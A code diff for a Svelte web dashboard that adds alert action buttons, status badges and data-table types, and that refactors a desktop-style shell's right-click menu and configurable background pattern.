|
||||
@@ -0,0 +1,31 @@
|
||||
<script lang="ts">
|
||||
import { Button } from '$lib/components/ui/button'
|
||||
import type { Signal } from '$lib/api'
|
||||
|
||||
let {
|
||||
row,
|
||||
acting = null,
|
||||
onAck,
|
||||
onMute,
|
||||
onResolve
|
||||
}: {
|
||||
row: Signal
|
||||
acting?: string | null
|
||||
onAck?: (id: string) => void
|
||||
onMute?: (id: string) => void
|
||||
onResolve?: (id: string) => void
|
||||
} = $props()
|
||||
</script>
|
||||
|
||||
<div class="flex justify-end gap-2">
|
||||
{#if row.state === 'raised'}
|
||||
<Button size="sm" variant="outline" disabled={acting === row.id} onclick={() => onAck?.(row.id)}
|
||||
>Ack</Button
|
||||
>
|
||||
{/if}
|
||||
<Button size="sm" variant="outline" disabled={acting === row.id} onclick={() => onMute?.(row.id)}
|
||||
>Mute 1h</Button
|
||||
>
|
||||
<Button size="sm" disabled={acting === row.id} onclick={() => onResolve?.(row.id)}>Resolve</Button
|
||||
>
|
||||
</div>
|
||||
@@ -0,0 +1,56 @@
|
||||
<script lang="ts">
|
||||
import { Badge } from '$lib/components/ui/badge'
|
||||
|
||||
let {
|
||||
value,
|
||||
kind = 'default'
|
||||
}: { value: unknown; kind?: 'risk' | 'severity' | 'execution' | 'state' | 'type' | 'default' } =
|
||||
$props()
|
||||
|
||||
const v = $derived(String(value ?? ''))
|
||||
|
||||
const variantMap: Record<
|
||||
string,
|
||||
Record<string, 'default' | 'secondary' | 'destructive' | 'outline'>
|
||||
> = {
|
||||
risk: {
|
||||
destructive: 'destructive',
|
||||
config_mutation: 'secondary',
|
||||
default: 'default'
|
||||
},
|
||||
severity: {
|
||||
critical: 'destructive',
|
||||
warning: 'secondary',
|
||||
info: 'default',
|
||||
default: 'default'
|
||||
},
|
||||
execution: {
|
||||
failed: 'destructive',
|
||||
denied: 'destructive',
|
||||
revoked: 'destructive',
|
||||
cancelled: 'destructive',
|
||||
completed: 'default',
|
||||
running: 'secondary',
|
||||
approved: 'secondary',
|
||||
default: 'outline'
|
||||
},
|
||||
state: {
|
||||
active: 'default',
|
||||
healthy: 'default',
|
||||
default: 'outline'
|
||||
},
|
||||
type: {
|
||||
runbook: 'secondary',
|
||||
investigation: 'default',
|
||||
default: 'outline'
|
||||
},
|
||||
default: { default: 'default' }
|
||||
}
|
||||
|
||||
const variant = $derived.by(() => {
|
||||
const map = variantMap[kind] ?? variantMap.default
|
||||
return (map[v] ?? map.default) as 'default' | 'secondary' | 'destructive' | 'outline'
|
||||
})
|
||||
</script>
|
||||
|
||||
<Badge {variant}>{v}</Badge>
|
||||
@@ -0,0 +1,13 @@
|
||||
<script lang="ts">
|
||||
import { statusStyle } from '$lib/tasks'
|
||||
import type { Session } from '$lib/api'
|
||||
|
||||
let { row }: { row: Session } = $props()
|
||||
|
||||
const st = $derived(statusStyle(row))
|
||||
</script>
|
||||
|
||||
<span class="flex items-center gap-1.5 text-xs font-medium text-muted-foreground">
|
||||
<span class="size-2 rounded-full {st.dot} {st.pulse ? 'animate-pulse' : ''}"></span>
|
||||
{st.label}
|
||||
</span>
|
||||
36
web/src/lib/components/data-table/types.ts
Normal file
@@ -0,0 +1,36 @@
|
||||
import type { ComponentType, SvelteComponent } from 'svelte'
|
||||
|
||||
export type BuiltinRenderer = 'badge' | 'health-dot' | 'relative-time' | 'date' | 'status-badge'
|
||||
|
||||
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
||||
type CellComponent = ComponentType<SvelteComponent<{ row: any; value: unknown }>>
|
||||
|
||||
export interface DataTableColumn<T> {
|
||||
key: string
|
||||
header: string
|
||||
sortable?: boolean
|
||||
width?: string | number
|
||||
align?: 'left' | 'right' | 'center'
|
||||
truncate?: boolean
|
||||
class?: string
|
||||
headerClass?: string
|
||||
render?: BuiltinRenderer | CellComponent
|
||||
renderProps?: Record<string, unknown>
|
||||
accessor?: (row: T) => unknown
|
||||
hidden?: boolean
|
||||
}
|
||||
|
||||
export interface DataTableProps<T> {
|
||||
columns: DataTableColumn<T>[]
|
||||
data: T[]
|
||||
pageSize?: number
|
||||
paginated?: boolean
|
||||
searchable?: boolean
|
||||
loading?: boolean
|
||||
emptyMessage?: string
|
||||
selected?: string[]
|
||||
onRowClick?: (row: T) => void
|
||||
class?: string
|
||||
// eslint-disable-next-line @typescript-eslint/no-explicit-any
|
||||
children?: any
|
||||
}
|
||||
@@ -5,15 +5,18 @@
|
||||
// or dragged window can never end up underneath the taskbar. This replaces
|
||||
// the old sidebar + hash-routed page shell in App.svelte entirely; apps are
|
||||
// desktop icons now (see $lib/apps.ts), not nav items.
|
||||
import { APPS } from '$lib/apps'
|
||||
import { apps } from '$lib/apps'
|
||||
import { iconPositions, resetIconLayout } from '$lib/stores/icons'
|
||||
import { wm, openAppWindow, toggleShowDesktop } from '$lib/stores/windows'
|
||||
import { summary } from '$lib/stores/context'
|
||||
import GraphBackground from '../GraphBackground.svelte'
|
||||
import { getBackground } from '$lib/stores/background.svelte'
|
||||
import { patternCss } from '$lib/desktop-patterns'
|
||||
import DesktopIcon from './DesktopIcon.svelte'
|
||||
import TaskLauncher from './TaskLauncher.svelte'
|
||||
import WindowLayer from './WindowLayer.svelte'
|
||||
import DockedLayer from './DockedLayer.svelte'
|
||||
import Taskbar from './Taskbar.svelte'
|
||||
import * as ContextMenu from '$lib/components/ui/context-menu'
|
||||
import LayersIcon from '@lucide/svelte/icons/layers'
|
||||
import Rows3Icon from '@lucide/svelte/icons/rows-3'
|
||||
import MonitorIcon from '@lucide/svelte/icons/monitor'
|
||||
@@ -21,37 +24,18 @@
|
||||
import Undo2Icon from '@lucide/svelte/icons/undo-2'
|
||||
import Redo2Icon from '@lucide/svelte/icons/redo-2'
|
||||
|
||||
// Clicking the bare desktop (not an icon, not a window) blurs the focused
|
||||
// window — the familiar "click empty desktop to deselect" affordance.
|
||||
function onSurfaceClick(e: MouseEvent) {
|
||||
if (e.currentTarget === e.target) wm.blur()
|
||||
}
|
||||
|
||||
// Right-click menu, bare desktop only (same currentTarget===target gate as
|
||||
// onSurfaceClick above — icons and windows sit on pointer-events-auto
|
||||
// layers above the otherwise pointer-events-none surface, so a right-click
|
||||
// that lands on either of them never reaches here). canUndo/canRedo are
|
||||
// plain wmkit method calls (not stores), so they're snapshotted once at
|
||||
// open time rather than read reactively in the template.
|
||||
let menuPos = $state<{ x: number; y: number } | null>(null)
|
||||
// canUndo/canRedo are plain wmkit method calls (not stores), so they're
|
||||
// snapshotted once when the menu opens (onOpenChange) rather than read
|
||||
// reactively in the template. bits-ui auto-dismisses on item select and
|
||||
// on Escape / click-away, so the old manual menuPos/closeMenu/runMenuAction
|
||||
// machinery is gone.
|
||||
let menuCanUndo = $state(false)
|
||||
let menuCanRedo = $state(false)
|
||||
|
||||
function onSurfaceContextMenu(e: MouseEvent) {
|
||||
if (e.currentTarget !== e.target) return
|
||||
e.preventDefault()
|
||||
function onOpenChange(open: boolean) {
|
||||
if (!open) return
|
||||
menuCanUndo = wm.canUndo()
|
||||
menuCanRedo = wm.canRedo()
|
||||
menuPos = { x: e.clientX, y: e.clientY }
|
||||
}
|
||||
|
||||
function closeMenu() {
|
||||
menuPos = null
|
||||
}
|
||||
|
||||
function runMenuAction(fn: () => void) {
|
||||
fn()
|
||||
closeMenu()
|
||||
}
|
||||
|
||||
// Cmd/Ctrl+Z / Shift+Z for window-arrangement undo/redo (move, resize,
|
||||
@@ -60,33 +44,93 @@
|
||||
// fights the browser's own text-undo inside the task input or a form
|
||||
// field.
|
||||
function onWindowKeydown(e: KeyboardEvent) {
|
||||
if (e.key === 'Escape' && menuPos) {
|
||||
closeMenu()
|
||||
return
|
||||
}
|
||||
const target = e.target as HTMLElement | null
|
||||
const editable = !!target && (target.tagName === 'INPUT' || target.tagName === 'TEXTAREA' || target.isContentEditable)
|
||||
const editable =
|
||||
!!target &&
|
||||
(target.tagName === 'INPUT' || target.tagName === 'TEXTAREA' || target.isContentEditable)
|
||||
if (editable) return
|
||||
if (!(e.metaKey || e.ctrlKey) || e.key.toLowerCase() !== 'z') return
|
||||
e.preventDefault()
|
||||
if (e.shiftKey) wm.redo()
|
||||
else wm.undo()
|
||||
}
|
||||
|
||||
// Configurable in Settings → Appearance (see background.svelte.ts). Two
|
||||
// layers, not one, because rotation and the fade mask need different
|
||||
// geometry:
|
||||
// - outer: exactly the viewport box. Carries the fade mask, since a
|
||||
// vignette has to be centered on what's actually visible.
|
||||
// - inner: oversized (200%) and centered before rotating, so turning the
|
||||
// pattern doesn't pull its straight edges into view at the corners —
|
||||
// a viewport-sized box rotated in place would do exactly that.
|
||||
const bgActive = $derived.by(() => {
|
||||
const bg = getBackground()
|
||||
return bg.pattern !== 'none' || bg.fillColor !== null
|
||||
})
|
||||
const bgOuterStyle = $derived.by(() => {
|
||||
const bg = getBackground()
|
||||
if (bg.fade <= 0) return ''
|
||||
const stop = Math.round(100 - bg.fade * 70)
|
||||
const mask = `radial-gradient(circle at 50% 50%, black 0%, black ${stop}%, transparent 100%)`
|
||||
return `mask-image:${mask};-webkit-mask-image:${mask};`
|
||||
})
|
||||
const bgInnerStyle = $derived.by(() => {
|
||||
const bg = getBackground()
|
||||
const css = patternCss(bg.pattern, bg.color, bg.scale)
|
||||
return `inset:-50%;width:200%;height:200%;opacity:${bg.opacity};background-color:${bg.fillColor ?? 'transparent'};transform:rotate(${bg.rotation}deg);${css}`
|
||||
})
|
||||
</script>
|
||||
|
||||
<svelte:window onkeydown={onWindowKeydown} onclick={closeMenu} />
|
||||
<svelte:window onkeydown={onWindowKeydown} />
|
||||
|
||||
<div class="fixed inset-0 flex flex-col">
|
||||
<div
|
||||
class="relative min-h-0 flex-1 overflow-hidden"
|
||||
role="presentation"
|
||||
onclick={onSurfaceClick}
|
||||
oncontextmenu={onSurfaceContextMenu}
|
||||
>
|
||||
<GraphBackground />
|
||||
<div class="relative min-h-0 flex-1 overflow-hidden" role="presentation">
|
||||
{#if bgActive}
|
||||
<div
|
||||
class="pointer-events-none absolute inset-0 z-0 overflow-hidden"
|
||||
aria-hidden="true"
|
||||
style={bgOuterStyle}
|
||||
>
|
||||
<div class="absolute" style={bgInnerStyle}></div>
|
||||
</div>
|
||||
{/if}
|
||||
|
||||
<ContextMenu.Root {onOpenChange}>
|
||||
<!-- The bare-desktop hit area. Placed before the icons/windows layers
|
||||
so they (pointer-events-auto, later in DOM → paint on top) catch
|
||||
their own right-clicks — the trigger only sees right-clicks that
|
||||
fall through to bare desktop. This DOM-structure gate replaces the
|
||||
old `currentTarget === target` event check. Left-click on bare
|
||||
desktop blurs the focused window (the familiar "click empty
|
||||
desktop to deselect" affordance). -->
|
||||
<ContextMenu.Trigger class="absolute inset-0 z-0" onclick={() => wm.blur()}
|
||||
></ContextMenu.Trigger>
|
||||
<ContextMenu.Content class="min-w-48">
|
||||
<ContextMenu.Item onSelect={() => wm.arrange('cascade')}>
|
||||
<LayersIcon class="size-4" /> Cascade windows
|
||||
</ContextMenu.Item>
|
||||
<ContextMenu.Item onSelect={() => wm.arrange('tile')}>
|
||||
<Rows3Icon class="size-4" /> Tile windows
|
||||
</ContextMenu.Item>
|
||||
<ContextMenu.Item onSelect={toggleShowDesktop}>
|
||||
<MonitorIcon class="size-4" /> Show desktop
|
||||
</ContextMenu.Item>
|
||||
<ContextMenu.Separator />
|
||||
<ContextMenu.Item onSelect={resetIconLayout}>
|
||||
<RotateCcwIcon class="size-4" /> Reset icon layout
|
||||
</ContextMenu.Item>
|
||||
<ContextMenu.Separator />
|
||||
<ContextMenu.Item disabled={!menuCanUndo} onSelect={() => wm.undo()}>
|
||||
<Undo2Icon class="size-4" /> Undo
|
||||
</ContextMenu.Item>
|
||||
<ContextMenu.Item disabled={!menuCanRedo} onSelect={() => wm.redo()}>
|
||||
<Redo2Icon class="size-4" /> Redo
|
||||
</ContextMenu.Item>
|
||||
</ContextMenu.Content>
|
||||
</ContextMenu.Root>
|
||||
|
||||
<div class="pointer-events-none absolute inset-0 z-0">
|
||||
{#each APPS as app (app.id)}
|
||||
{#each $apps as app (app.id)}
|
||||
{@const pos = $iconPositions[app.id] ?? { col: 0, row: 0 }}
|
||||
{@const badge = app.badge?.($summary) ?? 0}
|
||||
<DesktopIcon {app} {pos} {badge} onOpen={() => openAppWindow(app.id)} />
|
||||
@@ -100,62 +144,9 @@
|
||||
</div>
|
||||
|
||||
<WindowLayer />
|
||||
|
||||
<DockedLayer />
|
||||
</div>
|
||||
|
||||
<Taskbar />
|
||||
</div>
|
||||
|
||||
{#if menuPos}
|
||||
<div
|
||||
class="fixed z-50 min-w-48 rounded-md border bg-popover p-1 text-sm text-popover-foreground shadow-md ring-1 ring-foreground/10"
|
||||
style="left: {menuPos.x}px; top: {menuPos.y}px"
|
||||
role="menu"
|
||||
>
|
||||
<button
|
||||
type="button"
|
||||
class="flex w-full items-center gap-2 rounded-sm px-2 py-1.5 text-left hover:bg-accent hover:text-accent-foreground"
|
||||
onclick={() => runMenuAction(() => wm.arrange('cascade'))}
|
||||
>
|
||||
<LayersIcon class="size-4" /> Cascade windows
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
class="flex w-full items-center gap-2 rounded-sm px-2 py-1.5 text-left hover:bg-accent hover:text-accent-foreground"
|
||||
onclick={() => runMenuAction(() => wm.arrange('tile'))}
|
||||
>
|
||||
<Rows3Icon class="size-4" /> Tile windows
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
class="flex w-full items-center gap-2 rounded-sm px-2 py-1.5 text-left hover:bg-accent hover:text-accent-foreground"
|
||||
onclick={() => runMenuAction(toggleShowDesktop)}
|
||||
>
|
||||
<MonitorIcon class="size-4" /> Show desktop
|
||||
</button>
|
||||
<div class="my-1 h-px bg-border"></div>
|
||||
<button
|
||||
type="button"
|
||||
class="flex w-full items-center gap-2 rounded-sm px-2 py-1.5 text-left hover:bg-accent hover:text-accent-foreground"
|
||||
onclick={() => runMenuAction(resetIconLayout)}
|
||||
>
|
||||
<RotateCcwIcon class="size-4" /> Reset icon layout
|
||||
</button>
|
||||
<div class="my-1 h-px bg-border"></div>
|
||||
<button
|
||||
type="button"
|
||||
disabled={!menuCanUndo}
|
||||
class="flex w-full items-center gap-2 rounded-sm px-2 py-1.5 text-left hover:bg-accent hover:text-accent-foreground disabled:pointer-events-none disabled:opacity-50"
|
||||
onclick={() => runMenuAction(() => wm.undo())}
|
||||
>
|
||||
<Undo2Icon class="size-4" /> Undo
|
||||
</button>
|
||||
<button
|
||||
type="button"
|
||||
disabled={!menuCanRedo}
|
||||
class="flex w-full items-center gap-2 rounded-sm px-2 py-1.5 text-left hover:bg-accent hover:text-accent-foreground disabled:pointer-events-none disabled:opacity-50"
|
||||
onclick={() => runMenuAction(() => wm.redo())}
|
||||
>
|
||||
<Redo2Icon class="size-4" /> Redo
|
||||
</button>
|
||||
</div>
|
||||
{/if}
|
||||
|
||||
@@ -88,10 +88,14 @@
|
||||
onkeydown={onKeydown}
|
||||
title={app.title}
|
||||
>
|
||||
<span class="relative flex size-10 items-center justify-center rounded-xl border bg-card/80 text-foreground shadow-sm backdrop-blur">
|
||||
<span
|
||||
class="relative flex size-10 items-center justify-center rounded-xl border bg-card/80 text-foreground shadow-sm backdrop-blur"
|
||||
>
|
||||
<app.icon class="size-5" />
|
||||
{#if badge > 0}
|
||||
<span class="absolute -right-1.5 -top-1.5 flex h-4 min-w-4 items-center justify-center rounded-full bg-destructive px-1 text-[10px] font-semibold text-destructive-foreground">
|
||||
<span
|
||||
class="absolute -right-1.5 -top-1.5 flex h-4 min-w-4 items-center justify-center rounded-full bg-destructive px-1 text-[10px] font-semibold text-destructive-foreground"
|
||||
>
|
||||
{badge > 99 ? '99+' : badge}
|
||||
</span>
|
||||
{/if}
|
||||
|
||||